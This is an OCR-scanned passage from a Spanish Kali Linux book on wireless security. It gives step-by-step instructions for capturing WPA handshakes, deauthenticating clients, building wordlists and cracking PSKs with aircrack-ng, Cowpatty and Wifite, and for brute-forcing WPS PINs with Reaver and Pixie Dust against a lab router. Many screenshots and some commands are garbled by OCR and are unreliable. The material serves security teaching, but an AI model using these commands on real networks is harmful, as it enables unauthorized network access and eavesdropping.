Alliance para sustituir temporalmente el cifrado WEP, pero también se descu-
brieron algunas vulnerabilidades y quedé obsoleto en las ltimas versiones del
estandar 802.11.

WPA2 utiliza el protocolo CCMP (Counter Cipher Mode Protocol, «Protocolo de
modo de contador de cifrados) de manera predeterminada, que es un protocolo
basado en el algoritmo AES (Advanced Encryption Standard, «Estandar de cifrado
avanzado») que es el algoritmo de cifrado por blogues adoptado como un estandar
por el gobierno de los Estados Unidos.
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Al atacar WPA, el principal interés es recuperar el PMK. Si la red estd configurada
en modo de clave previamente compartida, el PMK le puede permitir leer el trafico
de todos los demés clientes (con algo de engafio) y autenticarse exitosamente.

WPA-PSK tiene casos de uso similares a los despliegues WEP tradicionales, por
lo que solo debe usarse en oficinas domésticas o pequenas. Como la PSK es todo
lo que se necesita para conectarse a la red, si un empleado de una red grande se
va de la empresa o se roban un dispositivo, toda la red debe reconfigurarse con
una nueva clave. En realidad, en la mayoria de las organizaciones deberia utilizarse
WPA Enterprise, ya que proporciona autenticacion individual, lo gue permite un
mayor control sobre quién puede conectarse a la red inalambrica. Este tema se
tratara en el capitulo 8, «Ataque de APy la infraestructura.

I 711 Atacar el WPA

El protocolo WPA/WPA2 (en lo sucesivo, simplemente WPA) se considera seguro
porque se basa en protocolos de autenticacion y encriptacion fuertes, especial-
mente WPA2, con AES-CCMP. A continuacion, se muestra que es vulnerable
solo si se usan PSK débiles.

Se ha comprobado que TKIP es vulnerable a atagues que podrfan conducir al desci-
frado e inyeccion de paquetes, pero no a la recuperacion de la PSK. Para crackear la
PSK, debe capturar las cuatro tramas de handshake. Estas le daran todos los para-
metros a partir de los cuales se calcula el PTK, incluido el MIC utilizado para verificar

si su clave candidata es correcta o no.

Una vez que tenga el archivo del paquete capturado, puede intentar crackear la
clave lanzando un ataque de fuerza bruta fuera de linea o un ataque de diccio-
nario sobre él. Un ataque de fuerza bruta implica verificar todo el espacio de la
clave, es decir, todas las posibles combinaciones de caracteres que podrian formar
la clave. Para ser factible, la PSK debe ser corta. De lo contrario, una PSK fuerte

requeriria mucho tiempo para ser descifrada.

Para tener una idea de la cantidad de tiempo requerida, debe estimarla a través
de una de las calculadoras de fuerza bruta disponibles en linea, por ejemplo, la de
http://lastbit.com/pswecalc.asp. Suponiendo que pudiera probar 100000 claves
por segundo, que es una tasa bastante alta, podria sorprenderse al descubrir el
Hiempo necesario para crackear una clave de 8 caracteres de longitud.
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Il recaver your data to the very Last Bit!

Homes Download Order Contactus

Password Recovery Password Calculator

L e — -

107095 - |uasswnrds per second

Passwaord length;| 8
SpeedJ

Number of computars; 1 |
chars in lower case [[1 common punctuation
[[J chars in upper case I full ASCII
[T digits

| Calculate! |
Brute Forggil\ttack will take up to 25 days J

-
Password lenqth:iT:l ",‘ 1
|t TS
Speed: 100,000 7|passwnrds per second |
i

[ chars in lower case [ commen punctuation
[1 chars in upper case [ full ascrz ‘

J [ digits

“ Number of computers:1 |

, | Caiculatet |
| Brute Force Attack will take up to 6406940874231420 years
You should have bought a password manager! :-)

J

deberia estar incluida en las listas de palabras utilizadas.

&
que es necesaria una gran cantidad de espacio en el disco.

; Tambié.n hay servicios en linea basados en la nube que permiten, con el pago de
una fcarlfa, crackear las claves del WPA/WPA2, simplemente proporcionando el

| arch!vp handshake de cuatro vias y el SSID de la red. Un ejemplo de este tipo de

3 servicio es CloudCracker, disponible en https://www.cloudcracker.com/.

Para una clave de 63 caracteres de longitud, el resultado es bastante desalentador:

Eﬁ un atague de diccionario, en cambio, necesita probar todas las palabras conte-
nidas en un archivo de diccionario o de lista de palabras. Para tener éxito, la clave

. I—!ay. algunas técnicas para acelerar el proceso de cracking. Para un ataque de
diccionario, puede usar una lista (o tabla) de hashes precalculados, también llamada
tabla rainbow (tabla de arcoiris), en lugar de una lista de palabras. De esta forma, se
calcula previamente los PMK a partir de las palabras de un archivo de diccionario
| y son almacenados en la tabla rainbow. Los inconvenientes son que cada ESSID
de red requiere su tabla rainbow, ya que el PMK también depende del ESSID, %
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la siguiente figura:

J
| e
\\\\ //}'/ ——’
o s & Router
e Cliente AP objetivo
BSSID: BO:4AE:26:1E:F6:36
el - Clave WPA: 38612345
g

MAC: FO:03:8C:84:02:0D

@ /- Cracking del WPA con aircrack-ng 1D

En la seccién anterior, se menciond que, para descifrar una clave del WPA, primero
debe capturar las cuatro tramas relacionadas con un handshake WPA entre el AP
' objetivo y un cliente. Puede esperar pasivamente a que un cliente se autentique
| exitosamente para completar el handshake y capturar las tramas relativas. Pero
no siempre sera asi de sencillo, a veces tendra que esperar un poco mas. Para
acelerar el proceso de autenticacion de un cliente ya conectado, puede obligarlo

' a autenticarse de nuevo con el AP (el ataque de desautenticacion).

| I 721 Configuracion de un router como AP con la clave del WPA

En las siguientes secciones, se vera el proceso de cracking de una clave del WPA
utilizando los paquetes aircrack-ng y Cowpatty utilizando el escenario mostrado en

Como el router esta configurado como AP con la clave del WEP desde el capi-
tulo anterior, se debe cambiar al modo de clave WPA. Para colocar la seguridad

WPA siga los siguientes pasos:
1. En un navegador, escriba la direccién IP del router 192.168.1.11.

Capitulo 7

Cracking del WPA / WPA2 159

2. E.n la ventana que aparece, acceda al panel de configuracion del router escri-
biendo como nombre de usuario admin y contrasefia admin.

3. En la seccion Inalambrico, establezca la opcién WPS en Habilitado.

| Contguradén Rapa
“ﬂ?gn_de};é@:}énﬁw-i e WES (Wh-51 Pronected Selup - Configiracicn de WI.Fr Protegida)
Red - - - -
natamco 1 i el
- Configumciones Basicas ‘—ng)“umr !
s Fitl Achual: 38812435 Restaurar &l FIN |

10 a [JDesnhaviiitar = Pt del olspositive

Agregar un Dispositva Nuswo, _Agregar Dispositive |

undtad Inalamb

Herramie nlasde_lsgignTa"- -

Finalzar Sesion

S ., , _J

4. Enla seccion Seguridad inalambrica, elija la opcién WPA y colocar una clave
sencilla, por ejemplo «38612345».
s h e
“:::rmm _ N P8 WRE4ON

ook

Esta n .

Ennﬁﬁ‘nﬁ&pﬁé —_— ] @ WPAMIPAZ - Persanal{Recomendado)
— S SR Encriptaciont | AES \v_“
T T Conrasefiainatémerica! |sg6ize3 |
CapOTRioheN ik Perioda a5 Actualizacidn Clave el Grupa, |9 |
wWPs

- Sequridad inaldmbrica s FEnm—
: Versidn [ Automatica

Encaptacion: | Aytomdtico

TP g2l Sepvdor RADIUS

Puero dol Servaer RADIUS: 1812 (1-68535. ( representa &l pusrto predetzim

Canfracefia dal Serddor RADILIS:

Heramientas del Sistema

Finallzar Sesion

Perlodo de Actualizacidn Clave g8l Grupa: 03

Wep

Tipa de Autanticactén [ Sigtama Abled
Formato d2fa Clave 08 WEP. | Hexadecimal

Haga clic en Guardar y espere a que reinicie el router que ahora estara confi-
gurado como AP.
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I Paso 1 Configurar el adaptador en modo monitor

Comience poniendo, como de costumbre, su interfaz inaldmbrica en modo monitor
con el siguiente comando:

airmon-ng start wlan@

| I Paso 2 Capturar trafico

Luego, ejecute airodump-ng usando el BSSID v el canal de su AP objetivo
como parametros.

- airodump-ng --channel 1 --bssid BO:4E:26:1E:F6:36-write wpa_crack wlanomon

N ol
[ root@kall: ~ o0
: ﬂ Archivo  Editar Ver Buscar Terminal Ayucy
T S cht 4 11 Elapsed: 3 mins }[ 2018-05-96 22;06 | [ WPA handshake: BO:4E:26:1E:F6:36
T BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
S ‘ BOAE:26:1E:F6:36 -39 72 1520 &0 § 4 S4e WPA2 CCMP  PSK  TP-Link F636

B5SI0 STATION PWR  Rate Lost Frames Probe

BOI4E:26:1E!F6:36 FO:03:8C:84:02:0D -69 81 ] 45

Cuando un cliente se autentica en el AP, la primera linea de salida de airodump-ng
muestra el handshake WPA ocurrido. En este caso, airodump-ng guarda el hands-

hake capturado en el archivo wpa_crack.

Si no se produce ningun handshake, pero un cliente ya estd conectado y no esta
muy lejos de él, podria desautenticarlo del AP con el siguiente comando:

aireplay-ng --deauth 1 -c FO:03:8C184:02:DD -a BO;4E:26:1E:F6:36 wlan@mon

. Donde:

' __deauth (0 -0) es para el ataque de des-autenticacion. .
1 representa un grupo de tramas para enviar.
-c es la direccion MAC del cliente.
-a es la direccion MAC del AP.
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root@kali: e e
Archivo  Editsr  Ver Buscar Terminal Ayuda b &
rootdkaliz-# aireplay-ng --deauth 1 -c FO:03:8C:B84:02:DD -a BO:4E;26:1E:F6:36 wl !
angmon

22:24:00 Waiting for beacon frame (BSSID: BO:4E:26:1E:F6:36) on channel 4
22:24:00 Sending 64 directed DeAuth. STMAC: (F0:03:8C:84:02:0D) (33|60 ACKs] I
22:24:00 Seru_!ing 64 directed DeAuth, STHAC: (F0:03:8C:84:02:0D] [34]68 ACKs]
22:24:00 Sending 64 directed DeAuth. STMAC: |F8:83:BC:84:02;:DD1 (35160 ACKs
22:24:00 Slnding 64 directed DeAuth. STMAC: [FO:03:8C:84:02:0D) [35]61 ACKs] I‘
22:24:00 Scnglng 64 directed DeAuth. STMAC: [FD:83:8C:84:02:0D] [36]61 ACKs] I;
22:24:00 Sending 64 directed DeAuth. STMAC: [F@:83:8C:84:02:DD) [36]62 ACKs] |
22:24:00 Sending 64 directed DeAuth. STHAC: [FO:03:8C:84:02:0D] [37]62 ACKs] i1
22:24:00 Sending 64 directed DeAuth. STHAC: [F@:83:8C;:84:02:0D] [37]63 ACKs] (1

root@kali:-#

Si el atagque es exitoso, deberfa ver al cliente reconectarse en poco tiempo v luego }
podrfa capturar el handshake de WPA. i

Una vez gue haya capturado el handshake, puede proceder a descifrar la clave
con aircrack-ng, especificando el archivo de diccionario o la lista de palabras a |
usar. Aircrack-ng solo podrfa encontrar la clave WPA PSK si esta presente en el I
archivo de diccionario utilizado. I

Hay muchas listas de palabras disponibles en la web, puede encontrar algunas en “
http://www.aircrack-ng.org/doku.php?id=fag#where_can_i_find_good_waordlists.

Where can | find good wordlists ?

The easlest way is do an Internet search for word lists and dictionaries. Also check oul web sites for password ifl
cracking tools. Many times they have references lo word lists. A few sources follow Please add comiments or [
additions to this thread: &4 hitp:/forum arcrack-ng.org/index. php?tapic=1373 0.

Remember that valid passwords are 8 1o 63 characters in length. The & Aircrack-ng Other Tips page has a
script to eliminate passwords which are invalid in terms of length.

« Openall i
=t fipirfip openwall comipub/wordlists [
= G hitp:/iwww openwall comimirrors!
GitHub H

« f hitps:i/github.com/danielmiessier/SecListstree/master/Passwords

= @ hitps:ifglthub. comiberzerkO/Probable-Wordlists

= i https #/glthub com/search?g=wordlist ‘
% ntp/igdataoniine com/downloads/GDict/ ‘ y
s fip/fitp cerias purdue edu/publdicty
s http:iwww. outpost.comifilesMordLists. html i
f hitp-/iwww vulnerabilityassessment.co.uk/passwords him ||
4 hitp //packetstormsecurty org/Crackersiwordlists/
) hitp A &) uga eduffiplib/natural-language/moby?
& hitp /v cotse comitoolsiwordiists1.him
A hitp:/iwww.cotse comitoolsiwordlists2 nim
‘7 hittpiwordiist aspell net!

S = Y Lk e " T R

2 ® 8 & = = " W w
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Las listas de palabras también se incluyen por defecto en Kali Linux, debajo de
Jusr/share/wordlists, donde el archivo rockyou.txt.gz proporciona una gran
lista de palabras comprimidas para usar. Debe ingresar al directorio donde se
encuentra este archivo escribiendo el comando cd.

s usr/share# cd wordlists
r/share/wordlists# 1s \

!rnutﬁkaLi
[routakaIE:/u:

‘ rocikyou.txt.gz

irqugkall;/glrgitjrc:»n:dlxurh* . e

Se pueden crear listas de palabras personalizadas con la herramienta crunch
(escriba «man crunch» para la pagina manual).

o Edtor Ver Buscar Temminal Ayuda PR

CRUNCH({1}) General Commands Manual CRUNCH (1)

NAME

crunch - generate wordlists from a character set

SYNOPSIS
crunch <min-len> <max-len> [<charset string=] [options]

DESCRIPTION
Crunch can create a wordlist pbased on criteria you specify. The output

from crunch can be sent to the screen, file, or to ancther program.
The required parameters are:

min-len
The minimum length string you want crunch to start at. This

option is required even for parameters that wen't use the value.

max-len

The maximum length string you want crunch to end at. This
option is required even for parameters that won't use the value.

Para este ejemplo, usard la lista de palabras rockyou.txt.gz, pero primero tiene
que descomprimirla con el siguiente comando:

gunzip rockyou.txt.gz

kout@kali:_".:'-!ra’sharn/'mnrdlr';ta# gunzip rockyou.txt.gz‘
root@ksli: /usr/share/wordiists¥

Para reducir el nimero de palabras para probar, debe considerar que la PSK esta
compuesta por un minimo de ocho caracteres y un maximo de 63 caracteres.
Por lo tanto, puede crear, a partir de rockyou.txt, una nueva lista de palabras
que cumpla con estos requisitos. Una herramienta que le permite filtrary reducir

una lista de palabras es pw-inspector.
Cree la nueva lista de palabras wparockyou.txt dando rockyou.txt como entrada
a pw-inspector:

cat rockyou.txt > sort > uniq > pw-inspector -m 8 -M 63 > wparockyou.txt
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Luego, ejecute el ataque de diccionario con aircrack-ng:

aircrack-ng -w wparockyou.txt wpa_crack-0l.cap

gle Est Ll
et~ ruct el ~

|5 EBTAMCIRNGCED Tnfortredmiri-zotion WA (1 b
Choosing first network as terget. A i

opening wpa_crack-01.

Después de una cantidad de tiempo
variable, si la clave se encuentra en Ia
lista de palabras utilizada, aircrack-ng
la devuelve en la salida, junto conel | ‘
tiempo transcurrido, el nimero de | T

prueba, como puede ver en |a siguiente :

claves probadas y la velocidad de e ken =g§§§ \
L mmmn
. mEue

captura de pantalla. w‘mﬂ‘ T

Si quiere realizar un atague de diccionario utilizando una tabla de arcoiris, puede
usar la herramienta airolib-ng que crea bases de datos de ESSID de red con los
PMK precalculados relativos.

?ara crear una base de datos wpa_db de su red objetivo, ejecute el
siguiente comando:

airolib-ng wpa_db --import essid InfostradaWifi-201198
Luego, importe el archivo de diccionario que utilizd previamente:
airolib-ng wpa_db --import passwd wparockyou.txt

S\ntes de proceder a calcular los PMK, es aconsejable limpiar y optimizar la base
e datos;

airolib-ng wpa_db --clean all
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7 ﬂ-“:‘émmwm phowt piovockyou.tat
i ol ibeng wps, d +-Elaan 311

|| e

A continuacién, calcule los PMK con el siguiente comando: ,

airolib-ng wpa_db -batch

Finalmente, puede ejecutar aircrack-ng en la base de datos:

aircrack-ng -r wpa_db wpa_crack-0l.cap

@ /: Cracking del WPA con Cowpatty 1D

Una alternativa a aircrack-ng es Cowpatty, una herramienta facil de usar, efectiva N
para el cracking de WPA PSK y desarrollada por Joshua Wright. :

Su uso es muy similar al de aircrack-ng, ya que toma como entrada una captura
de paquetes que contiene el handshake de cuatro vias y una lista de palabras,

mas el ESSID de red:

cowpatty -f wparockyou.txt -r wpa_crack-0l.cap -s InfostradaWiFi-201198

e P Ak
o @ - e -

o [ m‘,’ '-'_'lwnt.»‘c‘.- wpa_crack-0l. cap -l Infostra

aWiFi-201 )

cowpatty 4.8 - WPA-PSK dictionary sttack. <juright@hasborg. coms

Collected all necessary data to mount crack sgainst WPAZ/PSK passphruse
ionary attack, Plesss be patient, ;

E

Como puede ver en la siguiente captura de pantalla, la PSK crackeada se muestra
en |a salida. Cowpatty, como aircrack-ng, también muestra el tiempo transcurrido,
la cantidad de frases de contrasefa probadas y la tasa. '
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Cowpatty tambié‘n puede tomar una tabla rainbow como entrada. Para cons-
trUIr_Ia desde su lista de palabras, use la herramienta genpmk, gjecutando el
siguiente comando:

genpmk -f wparockycu.txt -d hash_table -s InfostradaWiFi-201198

Luego, ejecute el programa, especificando la tabla rainbow con la opcion -d en
lugar de la lista de palabras:

cowpatty -d hash_table -r wpa_crack-@l.cap -s InfostradaWiFi-201198

74 Cracking del WPA con
herramientas automatizadas

En el Ultimo capitulo, se analizaran dos herramientas automatizadas para desci-
frar claves WEP (y también WPA): Wifite y Fern WiFi Cracker.

En' eII capitulo anterior, se mostré un ejemplo practico de crackeo WEP con Fern
WiFi Cracker; en este capitulo, vera cémo crackear una clave WPA usando Wifite.




74.1.

Como ya vio, Wifite es una herramienta basada en la suite Air_c’rack-ng. Por
defecto, se basa en aircrack-ng para el cracking de WPA, pero también es compa-
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Wifite

tible con Cowpatty.

El programa escanea las redes inalambricas WPA y muestra los resultados.

» SRS

wifite -wpa -dict wparockyou.txt

Para crackear una clave WPA, ejecute el siguiente comando:

Bt ;W.rfu Wirslives -urhlw

murﬁrnn o s 'Imu '

wharocky®u.

fmuo gay ! mwm |umwmt=um¢pnm

g mnﬁg ed networks | m-mmmm@
y sot

: »M mwlmm . CIRL+C when

N- D ;hln
(47 mmima.mnsmmm mumnm
UM ESSTO €4 ENCR POWER WPS? nm :
—— --p—--»----au-x-h- v- M e A
oAb 3 WAl 4l Sl
PRl teEas w
R ; m 53 /A m
4 HD-PrLM Zl-ﬁ!ﬂ.m. & A A
5. kirPort 4 11 weAz A
A TLSCALD Nt & WPAZ 15db  n/a
e ‘lP LI J&'FM b | WPA_ : n/'a’ clisnts
B Androidip i o WP :’b’: nia :
9 mm F$44273 4 WPAZ 10b  n/w  client
10 seMusle PuliefioN B2 5 WPA - 10db /e

i

Cuando identifique su red objetivo, presione Ctrl + C y seleccione la red niimero 1.

Wifite comienza a escuchar para capturar un handshake de WPA.

Después de eso, el programa comienza el proceso de cracking, utilizando el
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i N _- - e EHCR m . gj_. ‘,". ’
. o EEm A B (e . £ 3T
) SRt i
o
B
WPAZ  Lid
WPA 1ldb
WA 9dn

archivo de diccionario proporcionado anteriormente.

bl bt s ey
|18 SEMURLY PoKeMoN B 5 WPA  9db AL B o 4
d S'J" .

.if}mwmnmw ‘*%‘?‘ oo
41 1 target selected. S L=
.{:gk 'mmw B0152,

'HM )

§ T Listening t. m,,
ha caotired | saved

9.‘
g -u-up&n.w ‘ !
Hhvg mmmeqpmm L B
40101 WPR At W
o dntesty n*u* 200108 LH
um:a wsnmméfj
IJ".' ‘ 'I “ ru‘,.

o083 ‘""‘*‘2.&"2‘!
L2 21 o keyis teated (9.

Finalmente, Wifite devuelve la clave crackeada y muestra otra informacion rela-

tiva como lo hace aircrack-ng (tiempo transcurri do, nimero de claves probadas

y la tasa).

e - Toba ey _|

;:, ;j*' ‘;-‘ new elient found: BE53:9L 813258
2]

| 16:100:05 1 hantdshake M nunl' ﬂmmmm u-n-
u:-n-x-n cap® o o hee
L1013 etback conpleted:

1) 472 won aevacn ceewded
' SnfostradeWiFL-T6118E (08:TA0C: §3:0C: ES] handuhaky cuptured
saved ag Iuatm‘urrné"l.‘”!ﬂ! 0874 4T -A3-0C/EQ. cap

Als .im.lg WPA cracher of L handshmie

L RE T 201190 M
N'A mmmm 4&»»,:-«“' o'
& g mo utuﬁmim:}m {08 74: ‘trll:ﬂ(:lljl

Ve '__'"
= uitting

potenati-o ) -
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Capitulo 8

Ataque al APyala
infraestructura i

Si no se captura ningtin handshake, Wifite intentard desautenticar a un cliente
conectado, automatizando el atague de desautenticacion realizado por aireplay-ng.

También, puede optar por utilizar otras herramientas para crackear la clave en lugar
' de aircrack-ng, especificando la opcion relativa (por ejemplo, Pyrit o Cowpatty).

TR Rosumen JRUBREESTLINS

En este capitulo se tratd el protocolo de seguridad WPA / WPA2 y se explica
cémo capturar el handshake de cuatro vias WPA, y como usarlo para crackear la
PSK con las numerosas herramientas disponibles en Kali Linux.

El siguiente capftulo cubrira los atagues contra AP en modo infraestructura, espe-
cificamente contra implementaciones Wi-Fi Protected Setup (WPS), que pueden —i '
conducir a la recuperacion de la clave WPA PSK en un tiempo relativamente corto. i

En el capitulo 7 «Cracking del WPA / WPA2», se aprendiod como crackear una
PSK (clave previamente compartida) para el WPA en el modo WPA-Personal. il
Otra forma de recuperar la PSK es atacando el AP para explotar un defecto en ly.”-”"‘ |
la WPS (Wi-Fi Protected Setup, «Configuracion protegida wifis). En este capftulo, Ui
se analizaran este tipo de ataques, los atagues contra WPA-Enterprise y otros i”"'l‘”
ataques dirigidos a los AP y a la infraestructura de red, explicando las técnicas y I
las herramientas en Kali Linux para llevarlos a cabo. i

Los temas gue se explicaran son:

« Ataques contra WPS (Wi-Fi Protected Setup).
« Atacar una WPA-Enterprise. [
# Ataques de denegacion de servicio. i o
AP no autorizados.

Atacar credenciales de autenticacion del AP.

81 Ataques contra el WPS
(Wi-Fi Protected Setup)

WPS es un mecgﬂismo de seguridad para AP introducido por la Wi-Fi Alliance en
2006 para permitir a los clientes conectarse mas facilmente a una red inaldambrica,
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proporcionando un PIN de ocho digitos en lugar de la PSK (clave previamente
compartida). Si el PIN es correcto, el AP proporciona al cliente la WPA PSK para

autenticarse en la red.

La especificacion WPS también es compatible con un método PBC (Push-Button-
Connect, «Conexién presionando un botony), donde se presiona un botén tanto
en el AP como en el dispositivo cliente para iniciar la conexion.

En 2011, dos investigadores, Stefan Viehbock y Craig Heffner, descubrieron
de forma independiente una vulnerabilidad en WPS que podria permitir a un
atacante recuperar el PIN en unas pocas horas mediante un ataque de fuerza
bruta vy obtener acceso a la red. Heffner también desarrollé y lanzé una herra-
mienta que aplica este ataque: Reaver.

La falla reside en la forma en que el AP verifica el PIN. De hecho, el PIN de ocho
digitos no se envia en su totalidad al AP, sino que solo se envia y se verifica la
primera mitad y, luego, si es correcto, se envia y se verifica la segunda mitad. Si la
primera mitad no es correcta, el AP envia una respuesta negativa al cliente. Por
lo tanto, el AP controla independientemente las dos mitades del PIN.

Ademas, el Glimo digito del PIN es una suma de comprobacion de los otros siete
digitos, por lo que puede derivarse de estos.

De esta forma, un atacante podrfa intentar adivinar los primeros cuatro digitos
del PIN intentando como méaximo 10 ~ 4 = 10000 valores, y luego la segunda
mitad con un méaximo de 10 * 3 = 1000 posibilidades, para un total de 11000
valores posibles, contra las 10 # 7 = 10000000 de combinaciones posibles con
todo el PIN. Eso marca una gran diferencia en un ataque de fuerza bruta porgue
reduce mucho el tiempo que se necesita para realizarlo.

WPS se puede deshabilitar en el fpwe i
panel de administracién del AP. Wi it

En este caso, se habilita, dejando —-!FW AT -
el PIN preconfigurado del AP,

|
I
para demostrar como funciona il
|
|

B 2 Enable
el ataque, como se muestra en la s Ao
siguiente captura de pantalla:

e - G Resat
sevie i e .ra_te_J

sutstrt |

Los modelos recientes de AP implementan un mecanismo de blogueo (lock-down)
después de un cierto nimero de intentos de adivinar el PIN.

Capitulo 8
Ataque al APy a la infraestructura

171

Otro tipo de ataque dirigido a WPS, el atague Pixie Dust, fue presentado recien-
temente (2014) por Dominique Bongard. Es un ataque de fuerza bruta offline
(fuera de linea) para recuperar el PIN, mientras que el anterior, visto y ejecutado
por Reaver, es un ataque online (en Iinea) que interacttia continuamente con el AP.

El atague Pixie Dust mejora en gran medida la velocidad del proceso de recu-
peracion del PIN de WPS, reduciendo el tiempo requerldo a unos segundos o
minutos en el peor de los casos.

Los deta[lgs técnicos del ataque se pueden encontrar en el documento
http://archlve.hack.Iu/2014/Hackfu2014AofﬂIne_brutefo.rce_attackvon_wps.pdf.

Offline bruteforce attack on
WiFi Protected Setup

Dominigue Bongard
Faunder

(hictte, Switzerland
Oty

La herramienta, escrita en lenguaje C, llamada Pixiewps se desarrolld como
un codigo de prueba de concepto para demostrar el atague Pixie Dust. Esta
herramienta se integré con una versién bifurcada de la comunidad de Reaver,
reaver-wps-fork-téx, para admitir este nuevo ataque.

En la siguiente subseccién, se verd como usar Reaver para recuperar el PIN de
WPS con ambos tipos de ataques de fuerza bruta, online v offline.

8.1.2. Reaver

Reaver es una herramienta de linea de comandos que puede aplicar fuerza bruta
al PIN de WPS. Antes de iniciar el programa, debe identificar sus objetivos, que
son los AP que tienen WPS habilitado y no estan bloqueados contra los ataques
de fuerza bruta. Es aqui donde una herramienta llamada Wash viene en su ayuda,
un escaner WPS que se incluye con Reaver.

Los pasos para realizar un atague de fuerza bruta en linea son:
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1. Primero, tiene que poner su interfaz inaldmbrica en modo monitor, con el
comando habitual:

airmon-ng start wlan@
2. Para buscar AP habilitados para WPS, ejecute el siguiente comando:

wash -1 wlanOmon -C1

‘ root@kall; ~

;Au:hho Ediar Ver Buscar Teminal Ayuda ;
[root@kalis-# wash -1 wlanomon |

I
Wash v1.6.3 Wifi Protected Setup Scan Tool
ltopyright (c} 2011, Tactical Network Selutions, Craig Heffner

83510 Ch dBm WPS Lck Vendor  ESSID
Da:FB:SE:EE:3E:3F 1 -62 2.0 No Broadcom MIGUELITO
'FC:5A:10:35:A4:A8 1 -68 1.0 No RalinkTe MOVISTAR_A4A0
8:D1:1B:81:AF:67 3 -49 2.0 Mo Broadcem Arturo casa
i“ :4E:26:1E:F6:36 4 -53 2.0 Yes RalinkTe TP-Link F636

J

Wash muestra informacién sobre los AP detectados, como el BSSID, el canal,
la version de WPS utilizada, la intensidad de la senal (en dBm), si el WPS esta
bloqueado o no, y el ESSID.

3. Elija el AP objetivo y ejecute Reaver para recuperar el PIN de WPS:
reaver -1 wlan@mon -b BG:4E:26:1E:F6:36

Aquii, la opcion -b especifica la direccién MAC del AP.

L
sl 18 reaver -1 mon0 -b 08:7A:4(:B3:00:E0

1. com

for heaton from erlhll:lczll Y

4] Associated with 08,74:4C:83:9C:1E0 (ESSI0: InfostradsWifi-201188)

P) E-Honce: ec:Bf:f2:81:8f:11:dl:11f:79:d6:05:58:10%:03:5¢:36

P} PKE: itul-a!l:h:ﬂll:!hﬁtﬁ!ﬂ::ﬂmﬂ:u:ﬂxu:h:n:fe;nlnj

10c:48: wb:aB: TF: Lel: 721alc Ba; 13;55:62:b1: 101 fli ek 1ab:43:cf : T2 bb:Gm B 0

rumm:amm:mmumpwnmm:am:mmmmmhm-
:fB:23:40;59: 0671 c0t BB 51 TR 74 T cho: 1b:57: 74:ad: 81 1411 Tor0b1 06

znmlﬂﬁnﬂuItlﬁﬁ:t?‘kuﬁﬂ:bh“:ﬂ:u:ﬁ‘iﬂthtl&tﬂlnnﬂu

$7016b:99:40:15:70; (n:94:58:2110¢: 55:5:35:35:15: 0540106 : cd:ah: 641 7c;
re2ref oA 841 55: 16: 6e i 2csbd: 1d: i 1661961 F7:c)101:chi0Bi0a

m:umummammmmmm 21010 3d:6b: c1 :50: Be 14 70:2

L 95 T8 de dd 1T
[[F) wPS Manuf v Ralink Tectmology, Carp.

|
]

Reaver intenta todas las combinaciones posibles del PIN y espera la respuesta.
Por esta razén normalmente tarda unas horas para completar el ataque, inde-
pendientemente del nimero de combinaciones posibles que tega el PIN.

Para realizar el ataque Pixie Dust fuera de linea, tiene gue usar la version
reaver-wps-fork-t6x, que corresponde a la version 1.5.2 de Reaver. Esta Version
requiere Pixiewps y también es recomendable actualizar a la Gltima version (en el

q_l—
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m‘o'mento de ialescritura del libro es Aircrack-ng, 1.2 RC5). El Reaver actualizado
Pixiewps, y el Aircrack-ng actualizado estan disponibles en los repositorios de Kali

Linux. Siga los siguientes pasos:
1. Actualice el software con el siguiente comando:
apt-get install aircrack-ng reaver

Tenga en cuenta que pixiewps también se instala como una dependencia.

mmumm
4 NQ
Llawing ﬂhman&mmms

&»ﬁ‘ﬂn’fﬂiﬁmﬂﬂﬁw

2. Luego, establezca la interfaz inaldmbrica en modo monitor con el comando:

airmen-ng start wlan®

nmmy-u d.nm 58
s of time, mwm hﬁMmd.m

{h""' Interfsce  briver  chipsst
wlang ' :

! Wm’ : rug! ;ﬂa:mm mmum,m.
: m.‘l.l mede vif enabled for MOSMM Ill

g,

Puede observar que las interfaces del monitor virtual se denominan wlanXmaon
en lugar de monX en la nueva version de Aircrack-ng.

L © (PacB021) station mode vif disabled for (phyGiwland)

3. Para ejecutar el atague, ejecute el siguiente comando:

reaver -i wlan@mon -b BO:4E:26:1E:F6:36 -vvv -K 1
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Donde:

-4 especifica su interfaz de monitor.
b ladireccion MAC del AP.

~wwv  es el modo de salida méas detallado.
-« 1 especifica el ataque de Pixie Dust.

e A0 e el

lrmimu o8 reaver -i m -b OB:TA:4C:H3:0C:E0 -wwv K 1
¥ ‘Setup Attack Tool

o BRI s P i i
: %*M L.com & Databead & Soarok2212 '

an for mmxmzmm mm AT
 08:7A:4C183:6C: E0 :
channel 1

En la siguiente captura de pantalla, note gue se invoca a pixiewps y se descubre
el PIN al instante: ‘

Pixiewps 1.1 ‘ |
(*) E-81: 00:00:00:00:00:09:00:00:00;00:00:60:00:0

o [*) B-525 mmmmm:m-mmi |
o 'mmmr nmw VTR e e
mi [*] Time taken: 0 s ‘

‘, 'wm‘ﬂmmarw it#lefa-tﬂay vy FMI
Reave rm‘nm: u;zmtmmm

‘gsaes1zr’ ) _
‘mmiﬁm:ﬁ:'m : sy

il

£l pdT Teby ke

T

ipisia.
i

g

ifi

El ataque de Pixie Dust muestra cémo recuperar un PIN de WPS de manera
facil y rapida, por lo tanto, se recomienda deshabilitar el WPS.

@ :: Atacar una WPA-Enterprise 1D

WPA-Enterprise, como su nombre lo indica, es el modo de autenticacion utilizado
en redes empresariales.

Capitulo 8
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En WPA-Enterprise, el AP no autentica al cliente como en el modo WPA- Personal,
sino que lo delega a un AS (por sus siglas en inglés Authentication Server. «Servidor
de Autenticacion») que se comunica con el AP a través del protocolo RADIUS.

Los paquetes de autenticacion intercambiados entre e] AP y el AS se transportan utili-
zando el protocolo EAP (Extensible Authentication Protocol, «Protocolo de Autenticacién
Extensible») y especificamente EAP Over LAN (EAPOL), un protocolo definido en el
estandar 802.1x para autenticacion en LAN aldmbricas, E] AP (autenticador) actla
como un retransmisor que reenvia los paguetes de autenticacion entre las dos partes,
el cliente (solicitante) y el AS.

EAP es un framework de autenticacion en lugar de un protocolo individual y viene
en muchos formatos, entre los cuales los mas importantes son:

+ LEAP (Lightweight EAP). « EAP-FAST.
+ EAP-MDS5. EAP-TTLS.
+ EAP-TLS. « PEAPR

Los ultimos tres son los tipos de EAP mas comunes que utilizan las redes empre-
sariales. El proceso de autenticacion se lleva a cabo con un EAP-handshake, coma
se muestra en el siguiente diagrama con EAP-TLS:

Solicitante Autenticador Servidor de
/f/,.\\,\\ autenticacion
N\

— RADIUS Access Request —»

I

| Handshake EAPTLS | >

i <«——— EAP Success

A

